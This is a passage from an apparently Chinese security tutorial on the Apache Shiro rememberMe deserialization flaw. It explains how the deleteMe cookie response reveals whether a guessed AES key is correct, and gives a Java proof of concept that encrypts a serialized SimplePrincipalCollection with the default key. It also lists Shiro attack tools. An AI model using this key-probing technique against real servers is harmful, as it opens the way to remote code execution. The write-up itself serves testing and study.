getRememberedPrincipals-->convertBytesToPrincipals

image-20220219164030233

这里解密成功,进入deserialize进行反序列化

image-20220219164259349

这里进行了强制类型转换,但是我们反序列化的 gadget 和此类型并没啥关系,

但是在做类型转换之前,先进入了 DefaultSerializer#deserialize进行反序列化处理,等处理结束返回 deserialized时候,进行类型转换自然又回到了上面提到的类型转换异常,

所以还是会有rememberMe=deleteMe;

如果这里反序列化的是一个 PrincipalCollection 对象就不会出现异常。

那么可以找一个PrincipalCollection 对象序列化来测试 key。如果 key 正确,正常解密,就不会有rememberMe=deleteMe;

image-20220219165851460

找到SimplePrincipalCollection

POC

package shiro;

import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.subject.SimplePrincipalCollection;
import org.apache.shiro.util.ByteSource;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.util.Base64;

public class ShiroKey {
    public static void main(String[] args) throws Exception {
        SimplePrincipalCollection simplePrincipalCollection = new SimplePrincipalCollection();
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream obj = new ObjectOutputStream(byteArrayOutputStream);
        obj.writeObject(simplePrincipalCollection);
        obj.close();

        // 将其转化为 shiro 攻击 payload
        AesCipherService aes = new AesCipherService();
        byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource encrypt = aes.encrypt(byteArrayOutputStream.toByteArray(), key);
        System.out.println(encrypt.toString());
    }
}

如果是正确的 key 加密,服务端解密,正常流程,就不会再出现rememberMe=deleteMe;

image-20220219170102376

key 错误,就又出现了

image-20220219170234037

所以可以据此来快速的判断 key 是否正确。

检测工具

常用的
https://github.com/chaitin/xray
https://github.com/j1anFen/shiro_attack
https://github.com/wyzxxz/shiro_rce_tool

本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
文章目录